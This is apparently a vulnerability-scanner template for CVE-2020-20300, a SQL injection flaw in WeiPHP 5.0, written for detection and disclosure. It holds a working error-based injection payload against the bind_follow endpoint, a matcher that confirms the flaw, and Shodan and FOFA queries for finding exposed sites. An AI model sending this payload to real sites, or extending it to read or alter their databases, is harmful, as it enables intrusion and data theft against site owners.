CVE-2020-20300: WeiPHP 5.0 - SQL Injection

id: CVE-2020-20300

info:
  name: WeiPHP 5.0 - SQL Injection
  author: pikpikcu
  severity: critical
  description: WeiPHP 5.0 contains a SQL injection vulnerability via the wp_where function. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Upgrade to a patched version of WeiPHP or apply the vendor-supplied patch to fix the SQL Injection vulnerability.
  reference:
    - https://github.com/Y4er/Y4er.com/blob/15f49973707f9d526a059470a074cb6e38a0e1ba/content/post/weiphp-exp-sql.md
    - https://nvd.nist.gov/vuln/detail/CVE-2020-20300
    - https://github.com/Y4er/Y4er.com/blob/master/content/post/weiphp-exp-sql.md
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-20300
    cwe-id: CWE-89
    epss-score: 0.58993
    epss-percentile: 0.98167
    cpe: cpe:2.3:a:weiphp:weiphp:5.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: weiphp
    product: weiphp
    shodan-query:
      - http.html:"WeiPHP5.0"
      - http.html:"weiphp"
      - http.html:"weiphp5.0"
    fofa-query:
      - body="weiphp"
      - body="weiphp5.0"
  tags: cve,cve2020,weiphp,sql,sqli

http:
  - method: POST
    path:
      - "{{BaseURL}}/public/index.php/home/index/bind_follow/?publicid=1&is_ajax=1&uid[0]=exp&uid[1]=)%20and%20updatexml(1,concat(0x7e,md5('999999'),0x7e),1)--+ "

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "52c69e3a57331081823331c4e69d3f2"

      - type: status
        status:
          - 500
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